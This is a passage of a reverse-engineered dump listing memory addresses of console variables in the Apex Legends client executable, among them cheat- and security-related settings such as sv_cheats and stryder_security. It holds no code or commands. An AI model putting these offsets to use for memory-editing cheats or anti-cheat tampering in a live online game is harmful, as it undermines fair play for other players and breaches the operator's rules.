+r5apex.exe!0x012dbc10 ConVar shadow_maxdynamic +r5apex.exe!0x0189c0b0 ConVar shadow_maxdynamic +r5apex.exe!0x018a34d0 ConVar shadow_min_count_smallest +r5apex.exe!0x01882bc0 ConVar shadow_minvariance +r5apex.exe!0x01c37f70 ConVar shadow_multisampled +r5apex.exe!0x0189dd70 ConVar shadow_noLOD +r5apex.exe!0x01c2dbc0 ConVar shadow_show_spot_udpate_infos +r5apex.exe!0x018a90e0 ConVar shadow_tools_depth_dimen_min +r5apex.exe!0x018a3850 ConVar shadow_tools_depth_upres_factor_max +r5apex.exe!0x018a8a00 ConVar shadow_tools_min_count_smallest +r5apex.exe!0x01c2da00 ConVar shadow_tools_mode +r5apex.exe!0x018a9e30 ConVar shadow_update_culling +r5apex.exe!0x018946a0 ConVar shake_angleFactor_human +r5apex.exe!0x01890d60 ConVar shake_angleFactor_titan +r5apex.exe!0x01c4fe70 ConVar shake_basicPitchFactor +r5apex.exe!0x01c51b90 ConVar shake_basicRandomRollFactor +r5apex.exe!0x01893330 ConVar shake_offsetFactor_human +r5apex.exe!0x01890600 ConVar shake_offsetFactor_titan +r5apex.exe!0x01c2e5b0 ConVar shake_viewmodelFactor_ads_human +r5apex.exe!0x01c2db20 ConVar shake_viewmodelFactor_ads_titan +r5apex.exe!0x0189dc30 ConVar shake_viewmodelFactor_human +r5apex.exe!0x01c2e650 ConVar shake_viewmodelFactor_titan +r5apex.exe!0x012e1390 ConVar showfps_enabled +r5apex.exe!0x012de350 ConVar showfps_heightpercent +r5apex.exe!0x012d67f0 ConVar showfps_mouse_latency +r5apex.exe!0x012e0ad0 ConVar showfps_smoothtime +r5apex.exe!0x012e1b10 ConVar showfps_spinner +r5apex.exe!0x012de5b0 ConVar showmem_enabled +r5apex.exe!0x012e1570 ConVar showmem_mode_bottom +r5apex.exe!0x012e1a70 ConVar showmem_mode_top +r5apex.exe!0x01c532d0 ConVar showmemnumstats +r5apex.exe!0x01c52390 ConVar showmemnumstatsrefresh +r5apex.exe!0x012e1750 ConVar shownet_enabled +r5apex.exe!0x012e12f0 ConVar showsnapshot_enabled +r5apex.exe!0x01c3cfb0 ConVar sidearmSwapSelectCooldown +r5apex.exe!0x01c47410 ConVar sidearmSwapSelectDoubleTapTime +r5apex.exe!0x011916f0 ConVar single_frame_shutdown_for_reload +r5apex.exe!0x012cd050 ConVar singlestep +r5apex.exe!0x0119b2a0 ConVar skill_arena +r5apex.exe!0x0119ae20 ConVar skill_dediOnly +r5apex.exe!0x0119c2a0 ConVar skill_enabled +r5apex.exe!0x01191830 ConVar skill_hostname +r5apex.exe!0x01c5c460 ConVar skip_jump_height_fraction +r5apex.exe!0x01c8ed40 ConVar skip_jump_height_speed +r5apex.exe!0x01c900e0 ConVar skip_replenish_double_jump +r5apex.exe!0x01c5a550 ConVar skip_sounds +r5apex.exe!0x01c8fbc0 ConVar skip_speed_reduce +r5apex.exe!0x01c8ccb0 ConVar skip_speed_retain +r5apex.exe!0x01c90cc0 ConVar skip_time +r5apex.exe!0x01199b50 ConVar sleep_when_meeting_framerate +r5apex.exe!0x0119ca60 ConVar sleep_when_meeting_framerate_headroom_ms +r5apex.exe!0x01c8bda0 ConVar slide_auto_stand +r5apex.exe!0x01c59650 ConVar slide_max_angle_dot +r5apex.exe!0x01c5c5c0 ConVar slide_step_velocity_reduction +r5apex.exe!0x01ca1c10 ConVar slide_viewTiltDecreaseSpeed +r5apex.exe!0x01ca20b0 ConVar slide_viewTiltIncreaseSpeed +r5apex.exe!0x01ca0530 ConVar slide_viewTiltPlayerSpeed +r5apex.exe!0x01ca1480 ConVar slide_viewTiltSide +r5apex.exe!0x01c86030 ConVar slide_whileInAir +r5apex.exe!0x0118cfb0 ConVar slowconsolelog_old_logic +r5apex.exe!0x01ca1e30 ConVar smoothstairs_lunge +r5apex.exe!0x0118c3b0 ConVar sort_opaque_meshes +r5apex.exe!0x018a1e90 ConVar sound_classic_music +r5apex.exe!0x01c4d1d0 ConVar sound_entity_seek_snap +r5apex.exe!0x01e5a030 ConVar sound_musicReduced +r5apex.exe!0x01c38310 ConVar sound_num_speakers +r5apex.exe!0x01e71a80 ConVar sound_only_warn_on_missing_sound_events_in_client_script +r5apex.exe!0x012619a0 ConVar sound_printloaderrors +r5apex.exe!0x0189cf70 ConVar sound_volume +r5apex.exe!0x018a4530 ConVar sound_volume_dialogue +r5apex.exe!0x018a4430 ConVar sound_volume_dialogue_sp +r5apex.exe!0x018a6a90 ConVar sound_volume_music_game +r5apex.exe!0x018a4b50 ConVar sound_volume_music_game_sp +r5apex.exe!0x018a3f30 ConVar sound_volume_music_lobby +r5apex.exe!0x018950d0 ConVar sound_volume_sfx +r5apex.exe!0x01c2ed40 ConVar sound_volume_sfx_sp +r5apex.exe!0x01c2efa0 ConVar sound_volume_voice +r5apex.exe!0x018a9ed0 ConVar sound_without_focus +r5apex.exe!0x01c472f0 ConVar soundscape_fadetime +r5apex.exe!0x01c45770 ConVar soundscape_message +r5apex.exe!0x01c487b0 ConVar soundscape_radius_debug +r5apex.exe!0x0188cc40 ConVar soundtrigger_repeat_interval +r5apex.exe!0x011991b0 ConVar sp_not_focus_pause +r5apex.exe!0x01882580 ConVar spam_skinning_matrices_used +r5apex.exe!0x01882760 ConVar spam_skinning_matrices_used_detailed +r5apex.exe!0x01c5b0b0 ConVar spatial_partition_deadlock_assert +r5apex.exe!0x018941c0 ConVar spectator_command_interval +r5apex.exe!0x01e73cc0 ConVar speech_queue_bytes +r5apex.exe!0x012d0ba0 ConVar speechtotext_audioenabled +r5apex.exe!0x012d0a60 ConVar speechtotext_enabled +r5apex.exe!0x012d09c0 ConVar speechtotext_forcedisabled +r5apex.exe!0x012d07e0 ConVar speechtotext_hostname +r5apex.exe!0x012d0920 ConVar speechtotext_msg_droptimeout +r5apex.exe!0x012cf820 ConVar speechtotext_path +r5apex.exe!0x012d0b00 ConVar speechtotext_quiettime +r5apex.exe!0x012d0560 ConVar speechtotext_stats_errorspermin +r5apex.exe!0x012d0880 ConVar speechtotext_stats_interval +r5apex.exe!0x012d06a0 ConVar speechtotext_stats_senderrors +r5apex.exe!0x012d0600 ConVar speechtotext_stats_sendrequests +r5apex.exe!0x012d0740 ConVar speechtotext_stats_sendsuccess +r5apex.exe!0x01193020 ConVar speechtotexttoken_hostname +r5apex.exe!0x0119e480 ConVar speex_audio_recording +r5apex.exe!0x0119d6e0 ConVar speex_audio_value +r5apex.exe!0x012d3b60 ConVar speex_preprocess_agc_max_gain +r5apex.exe!0x012d37a0 ConVar speex_preprocess_noise_suppress +r5apex.exe!0x012d3ac0 ConVar speex_preprocess_set_agc_decrenment +r5apex.exe!0x012d3700 ConVar speex_preprocess_set_agc_increment +r5apex.exe!0x012d3980 ConVar speex_preprocess_set_agc_target +r5apex.exe!0x0119d8c0 ConVar speex_quiet_threshold +r5apex.exe!0x0119da00 ConVar speex_quiet_window +r5apex.exe!0x012d3840 ConVar speex_set_enh +r5apex.exe!0x012d38e0 ConVar speex_use_highpass +r5apex.exe!0x012d3a20 ConVar speex_use_preproser +r5apex.exe!0x01e5c2c0 ConVar spinner_debug_info +r5apex.exe!0x01ca0c80 ConVar sprint_powerdrain +r5apex.exe!0x01c2dce0 ConVar sprint_view_shake_style +r5apex.exe!0x01c56c60 ConVar sprinttilt_accel +r5apex.exe!0x01c8d440 ConVar sprinttilt_maxvel +r5apex.exe!0x01c59fd0 ConVar sprinttilt_turnrange +r5apex.exe!0x01c50ed0 ConVar ss_enable +r5apex.exe!0x01c4ee30 ConVar ss_force_primary_fullscreen +r5apex.exe!0x01c45950 ConVar ss_mimic +r5apex.exe!0x01c511d0 ConVar ss_splitmode +r5apex.exe!0x01c53a10 ConVar ss_verticalsplit +r5apex.exe!0x01c37c50 ConVar ss_viewmodelfov +r5apex.exe!0x0129aa40 ConVar ss_voice_hearpartner +r5apex.exe!0x012e7240 ConVar ssao_allow_partial +r5apex.exe!0x012e74c0 ConVar ssao_blur +r5apex.exe!0x012e7920 ConVar ssao_blur_edge_sharpness +r5apex.exe!0x012e7740 ConVar ssao_depth_max +r5apex.exe!0x012e7100 ConVar ssao_downsample +r5apex.exe!0x012e7420 ConVar ssao_enabled +r5apex.exe!0x012e77e0 ConVar ssao_exponent +r5apex.exe!0x012e7060 ConVar ssao_jitter_scale +r5apex.exe!0x012e7a60 ConVar ssao_max_res +r5apex.exe!0x012e72e0 ConVar ssao_max_res_threshold +r5apex.exe!0x012e6fc0 ConVar ssao_num_directions +r5apex.exe!0x012e7ec0 ConVar ssao_num_steps +r5apex.exe!0x012e7ce0 ConVar ssao_on_everything +r5apex.exe!0x012e6f20 ConVar ssao_radius +r5apex.exe!0x012e7600 ConVar ssao_radius_in_lobby +r5apex.exe!0x012e3ea0 ConVar ssao_show +r5apex.exe!0x012e7c40 ConVar ssao_show +r5apex.exe!0x012e8000 ConVar ssao_show +r5apex.exe!0x012e71a0 ConVar ssao_snap_uv +r5apex.exe!0x012e79c0 ConVar ssao_tech +r5apex.exe!0x01e590a0 ConVar ssao_tech +r5apex.exe!0x012e7f60 ConVar ssao_upsample_ranged +r5apex.exe!0x0119b140 ConVar startButtonCommand +r5apex.exe!0x01199e60 ConVar staticProp_budget +r5apex.exe!0x0189ced0 ConVar staticProp_buildlists_on_worker +r5apex.exe!0x0119b340 ConVar staticProp_debug_draw +r5apex.exe!0x01199a10 ConVar staticProp_earlyDepthPrepass +r5apex.exe!0x0119c740 ConVar staticProp_gather_size_weight +r5apex.exe!0x01199fa0 ConVar staticProp_max_scaled_dist +r5apex.exe!0x0119ce20 ConVar staticProp_no_fade_scalar +r5apex.exe!0x01e595e0 ConVar staticProp_refineDrawOnWorker +r5apex.exe!0x0119a4e0 ConVar static_prop_dist_debug_draw +r5apex.exe!0x012d89b0 ConVar static_shadow +r5apex.exe!0x01895c10 ConVar static_shadow +r5apex.exe!0x018a42f0 ConVar static_shadow_bounds_per_env +r5apex.exe!0x01e589c0 ConVar static_shadow_debug_2d +r5apex.exe!0x018a2c30 ConVar static_shadow_debug_dirty_rects +r5apex.exe!0x01c37d70 ConVar static_shadow_depth_bias_scale +r5apex.exe!0x0189fcb0 ConVar static_shadow_expand_z +r5apex.exe!0x018a2b90 ConVar static_shadow_good_merge_ratio +r5apex.exe!0x018a93d0 ConVar static_shadow_good_merge_score +r5apex.exe!0x01c2ede0 ConVar static_shadow_prop_min_size +r5apex.exe!0x012e1610 ConVar static_shadow_res +r5apex.exe!0x018a11b0 ConVar static_shadow_shrink_culler +r5apex.exe!0x012e1890 ConVar static_shadow_use_d16 +r5apex.exe!0x0189d150 ConVar static_shadow_uses_shadow_lod +r5apex.exe!0x011928a0 ConVar staticfile_hostname +r5apex.exe!0x01193ff0 ConVar stats_hostname +r5apex.exe!0x01c98590 ConVar status_effect_warning_level +r5apex.exe!0x012d1180 ConVar steam_crossProgression +r5apex.exe!0x012d12a0 ConVar steam_debug +r5apex.exe!0x012d0cc0 ConVar steam_id +r5apex.exe!0x012d0e60 ConVar steam_name +r5apex.exe!0x012d0fa0 ConVar steamlink_hostname +r5apex.exe!0x012e5010 ConVar stream_addnoise +r5apex.exe!0x012e4bd0 ConVar stream_bsp_bucket_bias +r5apex.exe!0x012e55b0 ConVar stream_bsp_dist_scale +r5apex.exe!0x01e89950 ConVar stream_cache_capacity +r5apex.exe!0x01e89a90 ConVar stream_cache_capacity_while_loading +r5apex.exe!0x01e89630 ConVar stream_cache_high_priority_static_models +r5apex.exe!0x01e89330 ConVar stream_cache_multithreaded +r5apex.exe!0x01e894b0 ConVar stream_cache_preload_from_rpak +r5apex.exe!0x01e898b0 ConVar stream_cache_read_buffer_cap +r5apex.exe!0x01e899f0 ConVar stream_cache_read_count_cap +r5apex.exe!0x01e89810 ConVar stream_cache_speculative_add_level +r5apex.exe!0x01e89b30 ConVar stream_cache_speculative_drop +r5apex.exe!0x012e4e50 ConVar stream_drop_unused +r5apex.exe!0x012e4c70 ConVar stream_enable +r5apex.exe!0x012dbd50 ConVar stream_freeze_camera +r5apex.exe!0x012e4b30 ConVar stream_load_after_drop +r5apex.exe!0x012e5770 ConVar stream_memory +r5apex.exe!0x012e5290 ConVar stream_memory_ignore +r5apex.exe!0x012e51f0 ConVar stream_memory_ignore_vram +r5apex.exe!0x012e5150 ConVar stream_memory_min +r5apex.exe!0x012e50b0 ConVar stream_memory_while_loading +r5apex.exe!0x012e5330 ConVar stream_mode +r5apex.exe!0x012e5470 ConVar stream_never_high_priority_frac +r5apex.exe!0x012e5810 ConVar stream_overlay +r5apex.exe!0x012e5510 ConVar stream_overlay_mode +r5apex.exe!0x012e4db0 ConVar stream_pause +r5apex.exe!0x012e4d10 ConVar stream_picmip +r5apex.exe!0x012e6640 ConVar stream_resource_max_commits_per_frame +r5apex.exe!0x012e66e0 ConVar stream_resource_thread +r5apex.exe!0x012e65a0 ConVar stream_resource_wait_copy_to_commit +r5apex.exe!0x012e6780 ConVar stream_resource_wait_creation_to_copy +r5apex.exe!0x012e6500 ConVar stream_resource_wait_for_additional_gpus +r5apex.exe!0x012e5650 ConVar stream_temp_abort_old_inner_loop +r5apex.exe!0x012e4f70 ConVar stream_temp_old_abort_all_behavior +r5apex.exe!0x012e53d0 ConVar stream_temp_skip_abort_all +r5apex.exe!0x011988d0 ConVar stringtable_alwaysrebuilddictionaries +r5apex.exe!0x01194610 ConVar stringtable_compress +r5apex.exe!0x011953c0 ConVar stringtable_showsizes +r5apex.exe!0x058ca020 ConVar stryder_forceOriginUsersInvisible +r5apex.exe!0x012cafa0 ConVar stryder_security +r5apex.exe!0x01c5bb80 ConVar stuck_debugging +r5apex.exe!0x01c8c430 ConVar stuck_debugging_world_only +r5apex.exe!0x01188fc0 ConVar studiobonecache_unlimited +r5apex.exe!0x012cad20 ConVar subscription_hostname +r5apex.exe!0x01c89580 ConVar superjump_disabled_from_water +r5apex.exe!0x01c90b90 ConVar superjump_drain_power_onfail +r5apex.exe!0x01c8a950 ConVar superjump_fail_sound_when_jump_limit +r5apex.exe!0x01c8cd80 ConVar superjump_limit +r5apex.exe!0x01c890e0 ConVar superjump_limitreset_onwallrun +r5apex.exe!0x01c757e0 ConVar superjump_max_power_use +r5apex.exe!0x01c5c2f0 ConVar superjump_min_height_fraction +r5apex.exe!0x01c8bcd0 ConVar superjump_min_power_use +r5apex.exe!0x01c87c30 ConVar superjump_powerreset_onground +r5apex.exe!0x01c8b360 ConVar sv_airaccelerate +r5apex.exe!0x012cc5b0 ConVar sv_allTicksFinal +r5apex.exe!0x01299920 ConVar sv_allowSendTableTransmitToClients +r5apex.exe!0x0129b680 ConVar sv_allowSpectatorClients +r5apex.exe!0x0129a860 ConVar sv_asyncSendSnapshot +r5apex.exe!0x01c5adf0 ConVar sv_backspeed +r5apex.exe!0x0129ab80 ConVar sv_balanceTeams +r5apex.exe!0x01c75660 ConVar sv_bounce +r5apex.exe!0x0129cd90 ConVar sv_cheats +r5apex.exe!0x0129a000 ConVar sv_checkPropBudgets +r5apex.exe!0x0129a300 ConVar sv_compressPlaylists +r5apex.exe!0x0118bfb0 ConVar sv_compressTimeValEpsilon +r5apex.exe!0x0118c120 ConVar sv_compressTimeVals +r5apex.exe!0x01299ba0 ConVar sv_connectingClientDelay +r5apex.exe!0x0129a680 ConVar sv_debug_prop_send +r5apex.exe!0x0129c560 ConVar sv_debugmanualmode +r5apex.exe!0x0129c100 ConVar sv_disconnectOnScriptError +r5apex.exe!0x0129c920 ConVar sv_disconnectOnTooManySnapshotFrames +r5apex.exe!0x01190eb0 ConVar sv_dumpstringtables +r5apex.exe!0x0129c740 ConVar sv_earlyPersistenceRead +r5apex.exe!0x012ccbd0 ConVar sv_everyThirdTick +r5apex.exe!0x0129bd40 ConVar sv_extra_client_connect_time +r5apex.exe!0x0129bb60 ConVar sv_fakeClientBaseId +r5apex.exe!0x01c92700 ConVar sv_footsteps +r5apex.exe!0x01c5b010 ConVar sv_friction +r5apex.exe!0x01c91f40 ConVar sv_gravity +r5apex.exe!0x01299560 ConVar sv_hibernate_ms +r5apex.exe!0x0129a120 ConVar sv_hibernate_ms_vgui +r5apex.exe!0x0129c7e0 ConVar sv_hibernate_postgame_delay +r5apex.exe!0x0129c1a0 ConVar sv_hibernate_when_empty +r5apex.exe!0x01ca23d0 ConVar sv_infinite_ammo +r5apex.exe!0x0129b860 ConVar sv_instancebaselines +r5apex.exe!0x0118eb90 ConVar sv_loadMapModelEarly +r5apex.exe!0x01196780 ConVar sv_lobbyType +r5apex.exe!0x01299f60 ConVar sv_max_prop_data_dwords_lobby +r5apex.exe!0x0129a900 ConVar sv_max_prop_data_dwords_multiplayer +r5apex.exe!0x01299ce0 ConVar sv_max_prop_data_dwords_singleplayer +r5apex.exe!0x0129a260 ConVar sv_max_props_lobby +r5apex.exe!0x01299c40 ConVar sv_max_props_multiplayer +r5apex.exe!0x01299a60 ConVar sv_max_props_singleplayer +r5apex.exe!0x0129b720 ConVar sv_max_snapshots_lobby +r5apex.exe!0x01298e20 ConVar sv_max_snapshots_multiplayer +r5apex.exe!0x0129ca60 ConVar sv_max_snapshots_singleplayer +r5apex.exe!0x0129a4c0 ConVar sv_maxclientframes +r5apex.exe!0x0129c060 ConVar sv_maxrate +r5apex.exe!0x01193bc0 ConVar sv_maxroutable +r5apex.exe!0x01c8ea60 ConVar sv_maxspeed +r5apex.exe!0x0129b540 ConVar sv_maxupdaterate +r5apex.exe!0x01c8eca0 ConVar sv_maxvelocity +r5apex.exe!0x0129a3a0 ConVar sv_minrate +r5apex.exe!0x0129a7c0 ConVar sv_minupdaterate +r5apex.exe!0x01c8ae80 ConVar sv_optimizedmovement +r5apex.exe!0x01299740 ConVar sv_parallel_sendsnapshot +r5apex.exe!0x012994c0 ConVar sv_pausable +r5apex.exe!0x01298c40 ConVar sv_playerNameAppendCheater +r5apex.exe!0x01c90700 ConVar sv_players +r5apex.exe!0x0129b9a0 ConVar sv_printHighWaterMark +r5apex.exe!0x01c87d70 ConVar sv_pushaway_accel +r5apex.exe!0x01c56a40 ConVar sv_pushaway_clientside +r5apex.exe!0x01c98c20 ConVar sv_pushaway_clientside_size +r5apex.exe!0x01c8f120 ConVar sv_pushaway_debug +r5apex.exe!0x01c57310 ConVar sv_pushaway_dist +r5apex.exe!0x01c8a9f0 ConVar sv_pushaway_min_player_speed +r5apex.exe!0x01c8ab00 ConVar sv_pushaway_player_accel +r5apex.exe!0x01c5b510 ConVar sv_pushaway_player_dist +r5apex.exe!0x0129ade0 ConVar sv_rejectClientConnects +r5apex.exe!0x012991c0 ConVar sv_rejectConnections +r5apex.exe!0x0129a5e0 ConVar sv_rejectInvalidStryderSecurityToken +r5apex.exe!0x01299d80 ConVar sv_requireOriginToken +r5apex.exe!0x0129ae80 ConVar sv_resendSignonData +r5apex.exe!0x01c8fb20 ConVar sv_rollangle +r5apex.exe!0x01c899b0 ConVar sv_rollspeed +r5apex.exe!0x01299120 ConVar sv_runSpatialOptimizeInJob +r5apex.exe!0x0129b5e0 ConVar sv_scarySnapDeltaPrints +r5apex.exe!0x0129c380 ConVar sv_sendEarlyServerInfo +r5apex.exe!0x0129a1c0 ConVar sv_sendReplayNetMessagesOnNoDeltaSnaps +r5apex.exe!0x0129afc0 ConVar sv_separate_freq_change_prop_send +r5apex.exe!0x01299600 ConVar sv_showClientTickCmds +r5apex.exe!0x01298ec0 ConVar sv_showLargeSnapshotSize +r5apex.exe!0x01298ba0 ConVar sv_showSnapshots +r5apex.exe!0x01298d80 ConVar sv_showUserCmds +r5apex.exe!0x0129bfc0 ConVar sv_single_core_dedi +r5apex.exe!0x01299080 ConVar sv_skipSendingUnnecessaryPersistence +r5apex.exe!0x01c8b1f0 ConVar sv_skyname +r5apex.exe!0x0129b4a0 ConVar sv_snapshot_uniform_interval +r5apex.exe!0x01c8a390 ConVar sv_specaccelerate +r5apex.exe!0x01c5c8a0 ConVar sv_specnoclip +r5apex.exe!0x01c5ab90 ConVar sv_specspeed +r5apex.exe!0x01298b00 ConVar sv_stats +r5apex.exe!0x01c5af70 ConVar sv_stopspeed +r5apex.exe!0x0129c2e0 ConVar sv_stressbots +r5apex.exe!0x0129c600 ConVar sv_struggleCheck +r5apex.exe!0x01299880 ConVar sv_struggleSpam +r5apex.exe!0x0129be80 ConVar sv_struggleSpamInterval +r5apex.exe!0x0129a9a0 ConVar sv_tempents_send_from_delta +r5apex.exe!0x01298ce0 ConVar sv_tempents_send_from_last_sent +r5apex.exe!0x012d3020 ConVar sv_testLargeDatablock +r5apex.exe!0x0188c020 ConVar sv_teststepsimulation +r5apex.exe!0x0129c240 ConVar sv_transmitToAllPlayersMask_allBitsSet +r5apex.exe!0x0129ad40 ConVar sv_unnecessaryConnectDelay +r5apex.exe!0x012999c0 ConVar sv_unreliableSnapMaxSize +r5apex.exe!0x01299420 ConVar sv_updaterate_mp +r5apex.exe!0x0129b7c0 ConVar sv_updaterate_sp +r5apex.exe!0x01299b00 ConVar sv_useReputation +r5apex.exe!0x0129b900 ConVar sv_useThreadsForSnapshots +r5apex.exe!0x0129c420 ConVar sv_voiceEcho +r5apex.exe!0x0129bde0 ConVar sv_voiceenable +r5apex.exe!0x01299ec0 ConVar sv_warnAboutCmdNumJumps +r5apex.exe!0x01198e90 ConVar sv_watchdogTimer +r5apex.exe!0x01c56900 ConVar sv_wateraccelerate +r5apex.exe!0x01c91200 ConVar sv_waterdist +r5apex.exe!0x011975d0 ConVar sv_writePersistenceOnShutdown +r5apex.exe!0x01e70200 ConVar sys_attract_mode_timeout +r5apex.exe!0x0119b700 ConVar system_alt_f4_closes_window +r5apex.exe!0x01c8c360 ConVar teams_unassigned_are_friendly +r5apex.exe!0x012cd290 ConVar telemetry_client_debug +r5apex.exe!0x012cbed0 ConVar telemetry_client_enable +r5apex.exe!0x012ccb30 ConVar telemetry_client_sendInterval +r5apex.exe!0x012cb930 ConVar telemetryevent_client_enable +r5apex.exe!0x012987e0 ConVar tencent_restricted +r5apex.exe!0x012cb890 ConVar test_fakeTimeDays +r5apex.exe!0x01c8d9f0 ConVar tether_damageScale +r5apex.exe!0x01c570b0 ConVar tether_dodge_damage +r5apex.exe!0x01c56d00 ConVar tether_healthDrain +r5apex.exe!0x01c5b290 ConVar tether_healthDrainNPC +r5apex.exe!0x01c90af0 ConVar tether_maxvel +r5apex.exe!0x01c902b0 ConVar tether_radius +r5apex.exe!0x01c8f1c0 ConVar tether_strength +r5apex.exe!0x01c411f0 ConVar thirdperson_mayamode +r5apex.exe!0x01894b00 ConVar thirdperson_override +r5apex.exe!0x01c498d0 ConVar thirdperson_screenspace +r5apex.exe!0x0118e0c0 ConVar timeout +r5apex.exe!0x0118e160 ConVar timeout_during_load +r5apex.exe!0x01ca25b0 ConVar titan_sprint_sound +r5apex.exe!0x01e82450 ConVar toggle_on_jump_to_deactivate +r5apex.exe!0x0129d0b0 ConVar tracehull_height_error_check +r5apex.exe!0x01c448e0 ConVar tracer_debug +r5apex.exe!0x01e7cef0 ConVar trail_optimizedRemove +r5apex.exe!0x01c56da0 ConVar traversal_anim +r5apex.exe!0x01c59430 ConVar traversal_cooldown +r5apex.exe!0x01c8a0c0 ConVar traversal_enable +r5apex.exe!0x01c5b6f0 ConVar traversal_hand_debug +r5apex.exe!0x01c8a6f0 ConVar traversal_hand_required_width +r5apex.exe!0x01e77190 ConVar traversal_viewLerpInDuration +r5apex.exe!0x01e7a500 ConVar traversal_viewLerpOut +r5apex.exe!0x01e7b100 ConVar traversal_viewLerpOutAngle +r5apex.exe!0x01e74c10 ConVar traversal_viewLerpOutDebug +r5apex.exe!0x01e7b680 ConVar traversal_viewLerpOutPos +r5apex.exe!0x01c5a7d0 ConVar traversal_window_duration +r5apex.exe!0x01c594d0 ConVar traversal_window_enable +r5apex.exe!0x01c5b5b0 ConVar traversal_window_finish_angle +r5apex.exe!0x01c89360 ConVar traversal_window_forward_offset +r5apex.exe!0x01c90420 ConVar traversal_window_hand_vertical_offset +r5apex.exe!0x01c8d130 ConVar traversal_window_sideways_offset +r5apex.exe!0x018923f0 ConVar traversal_window_view_pitch_max +r5apex.exe!0x01890cc0 ConVar traversal_window_view_pitch_min +r5apex.exe!0x01894440 ConVar traversal_window_yaw_max +r5apex.exe!0x01c57a90 ConVar trigger_crowd_pusher_enabled +r5apex.exe!0x01c8e450 ConVar trigger_ignore_nonsolids +r5apex.exe!0x012e81e0 ConVar tsaa_blendfactorincreaseatmaxvelocity +r5apex.exe!0x012e8280 ConVar tsaa_blendfactorincreasewhenunoccluded +r5apex.exe!0x012e83c0 ConVar tsaa_blendfactormaxesoutatvelocity +r5apex.exe!0x012e85a0 ConVar tsaa_blendfactormodulationonsparklesandunocclusion +r5apex.exe!0x012e8460 ConVar tsaa_blendfactoroverride +r5apex.exe!0x012e8320 ConVar tsaa_curframeblendamount +r5apex.exe!0x012e8500 ConVar tsaa_debugresponsiveflag +r5apex.exe!0x012e80a0 ConVar tsaa_neighborhoodclamping +r5apex.exe!0x012e8140 ConVar tsaa_neighborhoodclampingsoftened +r5apex.exe!0x01c53b50 ConVar tsaa_numsamples +r5apex.exe!0x01c4a7b0 ConVar tweak_light_shadows_every_frame +r5apex.exe!0x0125fa50 ConVar twitch_check_interval +r5apex.exe!0x01260c80 ConVar twitch_prime_rewards +r5apex.exe!0x012600f0 ConVar twitch_shouldQuery +r5apex.exe!0x01e6f180 ConVar ui_DpadNavigationDeActive +r5apex.exe!0x01e6ffe0 ConVar ui_fadecloud_time +r5apex.exe!0x01e6ff40 ConVar ui_fadexui_time +r5apex.exe!0x01e6f220 ConVar ui_gameui_ctrlr_title +r5apex.exe!0x01e6f9a0 ConVar ui_gameui_modal +r5apex.exe!0x01e6f4a0 ConVar ui_loadingscreen_autotransition_time +r5apex.exe!0x01e6fb80 ConVar ui_loadingscreen_fadein_time +r5apex.exe!0x0118cbd0 ConVar ui_loadingscreen_fadeout_time +r5apex.exe!0x01e6fc20 ConVar ui_loadingscreen_fadeout_time +r5apex.exe!0x01e705c0 ConVar ui_loadingscreen_mintransition_time +r5apex.exe!0x01e6f7c0 ConVar ui_loadingscreen_transition_time +r5apex.exe!0x01e6f400 ConVar ui_lobby_jointimeout +r5apex.exe!0x01e70520 ConVar ui_lobby_noautostart +r5apex.exe!0x01e6fea0 ConVar ui_lobby_noresults_create_msg_time +r5apex.exe!0x01ca2ef0 ConVar ui_posedebug_fade_in_time +r5apex.exe!0x01ca2e50 ConVar ui_posedebug_fade_out_time +r5apex.exe!0x01e6f360 ConVar ui_virtualnav_render +r5apex.exe!0x01c57950 ConVar unique_entity_names +r5apex.exe!0x01e71dc0 ConVar usePromptBaseColor +r5apex.exe!0x01e73ae0 ConVar usePromptButtonTextColor +r5apex.exe!0x01e71b20 ConVar usePromptImageScale +r5apex.exe!0x01e735b0 ConVar usePromptImageYOffset +r5apex.exe!0x01e746f0 ConVar usePromptTextColor +r5apex.exe!0x01e58ec0 ConVar use_monitors +r5apex.exe!0x012d2e60 ConVar use_presence_to_refresh_userInfoCache +r5apex.exe!0x0119d500 ConVar use_valve_auto_gain +r5apex.exe!0x01c8cb10 ConVar use_vm_cloak_offset +r5apex.exe!0x012ce2d0 ConVar user_tracking_enabled +r5apex.exe!0x01190d70 ConVar users_hostname +r5apex.exe!0x01894ef0 ConVar v_centermove +r5apex.exe!0x0189fad0 ConVar v_centerspeed +r5apex.exe!0x01e5efa0 ConVar variable_sights_gravity_scale_override +r5apex.exe!0x01c48e80 ConVar vehicle_predictViaPlayer +r5apex.exe!0x01e8cf90 ConVar vgui_EnableFixedAspectScaling +r5apex.exe!0x01e6fcc0 ConVar vgui_drawPolyShapes +r5apex.exe!0x01199bf0 ConVar vgui_drawfocus +r5apex.exe!0x01e8c140 ConVar vgui_drawfocus +r5apex.exe!0x0119bb40 ConVar vgui_drawkeyfocus +r5apex.exe!0x0188e0e0 ConVar vgui_interactive +r5apex.exe!0x01e8eac0 ConVar vgui_noquads +r5apex.exe!0x01e8e980 ConVar vgui_notext +r5apex.exe!0x01e8c210 ConVar vgui_resize_on_resolution_change +r5apex.exe!0x01e8d6c0 ConVar vgui_show_glyph_miss +r5apex.exe!0x011970d0 ConVar vgui_simulate_during_bone_setup +r5apex.exe!0x01e72b10 ConVar video_menu_uiscript_reset +r5apex.exe!0x01ca0fc0 ConVar viewDrift +r5apex.exe!0x01ca1b70 ConVar viewDrift_ads_delay_debounce_time +r5apex.exe!0x01ca1d50 ConVar viewDrift_pitch_base1_amp +r5apex.exe!0x01ca1cb0 ConVar viewDrift_pitch_base1_freq +r5apex.exe!0x01ca0d20 ConVar viewDrift_pitch_base1_phase +r5apex.exe!0x01ca1660 ConVar viewDrift_pitch_base2_amp +r5apex.exe!0x01ca2510 ConVar viewDrift_pitch_base2_freq +r5apex.exe!0x01ca0f20 ConVar viewDrift_pitch_base2_phase +r5apex.exe!0x01ca0a80 ConVar viewDrift_pitch_scaler_amp +r5apex.exe!0x01ca26f0 ConVar viewDrift_pitch_scaler_base +r5apex.exe!0x01ca09c0 ConVar viewDrift_pitch_scaler_freq +r5apex.exe!0x01ca0880 ConVar viewDrift_pitch_scaler_phase +r5apex.exe!0x01ca1ad0 ConVar viewDrift_pitch_shifter_amp +r5apex.exe!0x01ca1a30 ConVar viewDrift_pitch_shifter_freq +r5apex.exe!0x01ca21f0 ConVar viewDrift_pitch_shifter_phase +r5apex.exe!0x01ca2650 ConVar viewDrift_yaw_base1_amp +r5apex.exe!0x01ca1f70 ConVar viewDrift_yaw_base1_freq +r5apex.exe!0x01ca0370 ConVar viewDrift_yaw_base1_phase +r5apex.exe!0x01ca1060 ConVar viewDrift_yaw_base2_amp +r5apex.exe!0x01ca18e0 ConVar 